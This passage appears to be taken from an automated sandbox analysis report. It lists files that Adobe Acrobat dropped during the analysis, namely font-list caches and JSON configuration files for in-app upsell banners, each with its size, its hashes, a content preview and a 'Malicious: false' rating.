SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2924

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2924

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.355189645075064
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRRqQN7+FIbRI6XVW7+0YDUoAvJM3g98kUwPeUkwRe9:YvXKXLNyYpW7inGMbLUkee9
MD5:	F13AAF019C24C04C881975EAC7C38BC2
SHA1:	E3C118209BB910CCCCEA6E3813EC941048E2670D
SHA-256:	E776342FE8D88BF378FDA8D2C8A8E27175AF200EAE456DE179DB33E689D49535
SHA-512:	CB336BA106A2E2599EB018D907BF3AA379C97981A3D75D83AD252E39CEA55C7A0E82F748E360B6B0EF986961E5E63077F809D0009E918F1F4A4BEC8D149D7C05
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d56d7286-8c59-468c-8997-04723e2a6401","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727225559,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.296706689143721
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRRqQN7+FIbRI6XVW7+0YDUoAvJfBoTfXpnrPeUkwRe9:YvXKXLNyYpW7inGWTfXcUkee9
MD5:	2A31636CE9C2EAAE782F79A7238F2C29
SHA1:	D69EC1A08B7EC780AEF093A720A932B9D09ADB3F
SHA-256:	4EECAFC70FF30462F195F308E2FA5FFD4FDAF38689C1BF0F5F4CF73A134A7594
SHA-512:	01D5B981E597747251E25573A5856BC1A1ED1122D7ADB4225EE8DF4D65BF85636282C841048573CE76647F06C5086A89A4D7A29F5EEAD86FAA12B96C60C9E67F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d56d7286-8c59-468c-8997-04723e2a6401","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727225559,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.274966184501528
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRRqQN7+FIbRI6XVW7+0YDUoAvJfBD2G6UpnrPeUkwRe9:YvXKXLNyYpW7inGR22cUkee9
MD5:	F4854D601427E336AD3D7F908170E88F
SHA1:	BE5BAB185F5999F9EB9D1A1E900EDF150E5C0CB8
SHA-256:	46D8ABB5288E846BCA6F9BE46E1D69538DC80C39D786284FDFA021BED583F8E7
SHA-512:	CB5919B27C36D90A01F6C2DBBE65775C64FD25E4E5C2F5D8A445192A33B3023CA7502679B0212E6858F978DD36E92F911132C16461E4503712224C9020D4B069
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d56d7286-8c59-468c-8997-04723e2a6401","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727225559,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.333795724790679
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRRqQN7+FIbRI6XVW7+0YDUoAvJfPmwrPeUkwRe9:YvXKXLNyYpW7inGH56Ukee9
MD5:	2EBD3598E1571057017C32E84A7C9AF9
SHA1:	E504BF05E9578B010AE7FCB6380DC339E5B48B6B
SHA-256:	8721261602C8416122854929C079BB9E616E5B378A58DBA2AAFB6ACF568A4996
SHA-512:	1AECFEFC00CDE37E6274DEDE19028EF5A71F2FD1DAB97A813790ED9DC611DCEBF19DBF908B7295D80330CC243F2B16B6D0460D7B26F98B6CDED49D424635D0F0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d56d7286-8c59-468c-8997-04723e2a6401","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727225559,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6943852318565
Encrypted:	false
SSDEEP:	24:Yv6XLNXiispLgE9cQx8LennAvzBvkn0RCmK8czOCCSj:YvmNybhgy6SAFv5Ah8cv/j
MD5:	7EB8A5DDFE23325B3A105984719653DA
SHA1:	61003D7CE308B9C1978005056A30A7CAC286D3A2
SHA-256:	60E16B92183779686E70CF05178BDD324800177A3EABEFCE3FE114714BD1B73F
SHA-512:	976A960BDB375E74F671F45602CEBE14C3568E9541117BD1EBB30F32A6AEE72B191F5DB240F3633358A902689257F471237F16310499806BDB5C47C6362EA677
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d56d7286-8c59-468c-8997-04723e2a6401","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727225559,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.279547174264665
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRRqQN7+FIbRI6XVW7+0YDUoAvJf8dPeUkwRe9:YvXKXLNyYpW7inGU8Ukee9
MD5:	12F8D057C8F1E7D9F104C8BDA5A61FCD
SHA1:	7368229B30704AE99A052C3ABF4C49D69343EA04
SHA-256:	39FE784DB6A7E50F8B9728022FD26B4EBC73FDDA924CD2F1B0CFB2124684993F
SHA-512:	8497B62BD9A4098951EAC2E5378E39234691227B45F9BE8385D36F5AD51F16F14FE4C665A42B9D4130E30613D44FFD5DD3915D3CE790C2FB81A817DF76FC8D5C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d56d7286-8c59-468c-8997-04723e2a6401","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727225559,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.280712507467765
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRRqQN7+FIbRI6XVW7+0YDUoAvJfQ1rPeUkwRe9:YvXKXLNyYpW7inGY16Ukee9
MD5:	DFA1362ABA654898F41BD0501805A9F2
SHA1:	02C98670ACCD77F6FA4FA61D24FC3FC3904B188F
SHA-256:	2FD58C6BBF5C7DEF551A3D4FD1707102D5D47CA476C9CB1E8E569C0588897A81
SHA-512:	54265EAF86442518C894FCD0124E7ACEE45B5474D4B4C11670249D34204B452A9D4183EB4B2E311955624A64181E96087E532D39336FE92B1760BEF26DA4D32F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d56d7286-8c59-468c-8997-04723e2a6401","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727225559,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.300064233452538
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRRqQN7+FIbRI6XVW7+0YDUoAvJfFldPeUkwRe9:YvXKXLNyYpW7inGz8Ukee9
MD5:	928B3CD5B4A14C42BF2F4D6B1F693E58
SHA1:	8CF37187116D03102269721FDA0AC84B3F6F93ED
SHA-256:	6A1A230CCEE464D3FEF9C31E2A8AACCB072139D8DBEAAB1ACDE3D0F69CA0B712
SHA-512:	2DF13C5160EE66B9C613279E38BD02DCCE85789C0344F050DDDBDEB6EEAA376CC99A44E5FA212DE4FFA046D26A405C9ABA6ED36D88685BD0F7F01E9FF2662C5A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d56d7286-8c59-468c-8997-04723e2a6401","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727225559,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.307705282564043
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRRqQN7+FIbRI6XVW7+0YDUoAvJfzdPeUkwRe9:YvXKXLNyYpW7inGb8Ukee9
MD5:	BED4F211C669419B6002BC467A5505E8
SHA1:	BBCDA70BAB6A817C119827300238680A14745257
SHA-256:	6D8CF9EC544AD32C6E0B843A99AD3CE36F13F1283FAA5325F5FBA090A0865D55
SHA-512:	E51569CB403031A4B250DE2973251C80976A7B80C72891B9E8E48E12D282E948D7E91BF430BA6429650825485703A852BE5C6AF8EDB86A51BE873C3E2F4851D1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d56d7286-8c59-468c-8997-04723e2a6401","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727225559,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.28781316563677
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRRqQN7+FIbRI6XVW7+0YDUoAvJfYdPeUkwRe9:YvXKXLNyYpW7inGg8Ukee9
MD5:	632DCC3E5DE79BFA76922BB5064E2E3E
SHA1:	C0ED346E56C916BF9B48336ACCCE6A91732CDFD3
SHA-256:	F699271C83CAE5540E3C371734F4059ABD399BEAC376C90310A6D1F1F176A66F
SHA-512:	1CDEAD8957136B0DF631D0462BE4043920811BED0553E16B0A2D2007D42D6941E0FF56C0F4D139C9753F6C54F4C8DCF264631BD84ECA3768AD6C86438E188F9B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d56d7286-8c59-468c-8997-04723e2a6401","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727225559,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.273648981516629
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRRqQN7+FIbRI6XVW7+0YDUoAvJf+dPeUkwRe9:YvXKXLNyYpW7inG28Ukee9
MD5:	28713177BC78B8B1C5C2C3BFBD6913E4
SHA1:	8CF8FA5BF138BA5FA7ECE496E59E8E340E534061
SHA-256:	3094D471472E01946FD338A1CF9EC524726EA670A78BCDEE324C6DCDDE4CD6EB
SHA-512:	2FAC470AF076A42515765AD3928C0723AD5DF845B21B221C195F2BEF6D4004DEACEEDAEF7E8F5F2ADB7F562B5F123F4B2D3FC3AD057DB7BE9B4F1E61E300C7D5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d56d7286-8c59-468c-8997-04723e2a6401","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727225559,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2714440216224085
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRRqQN7+FIbRI6XVW7+0YDUoAvJfbPtdPeUkwRe9:YvXKXLNyYpW7inGDV8Ukee9
MD5:	3E09198D2ACA3FFA49484464F1FB5305
SHA1:	1703A5AC39A499EA16C17CED84965ED09F14F261
SHA-256:	5AC6FB5EFE1D5FF9A64EE9D0B43950EC8DD7281ACB9482895872C5CD81E1ACEE
SHA-512:	7576FC8C25DC0AE0F88CDF8CAFC077224A255315AA19BDBA08C5FFAEE35E2C1C80AF1510EEEBD7ECBCCE2006EFF215049AD71576138D5F6CAAED67EF457AD727
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d56d7286-8c59-468c-8997-04723e2a6401","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727225559,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.272634176307893
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRRqQN7+FIbRI6XVW7+0YDUoAvJf21rPeUkwRe9:YvXKXLNyYpW7inG+16Ukee9
MD5:	A418CDACEAA75C4F647E8C44D6C91AAB
SHA1:	9CBCA03A3EA21BC8E2FCE3159B1A2628874D10FB
SHA-256:	ADE6135F6C7462EA211DD2DF43A445275FAE43CBC8C6C02D528610F0194CFCFE
SHA-512:	1D11A549DC17A513930367B513E6E16C2062886690CDE9320828B7C091345918536704B9A2759E60DD1E359A2C5CA3067A93E7638D6908ED27DC77A7E32DF084
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d56d7286-8c59-468c-8997-04723e2a6401","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727225559,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665608316988338
Encrypted:	false
SSDEEP:	24:Yv6XLNXiiYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSj:YvmNyrBgkDMUJUAh8cvMj
MD5:	E8E5347E89967D4BFC755E54F53C6D59
SHA1:	3315BC4078EDED43D5940F058A57DAD030EC862A
SHA-256:	5738F285509F0D78751238023B75A8FEB1D9A05639872FB72122B6C444D856B1
SHA-512:	AA6A3F8E08AC12B507F55F2AA60FD814EE11E793A11273AC8FF786BBE8EA00DDB657D097672D2C48209BDACCF1B696E7EF63395115762F5B6148EE928BE70DBE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d56d7286-8c59-468c-8997-04723e2a6401","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736727225559,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
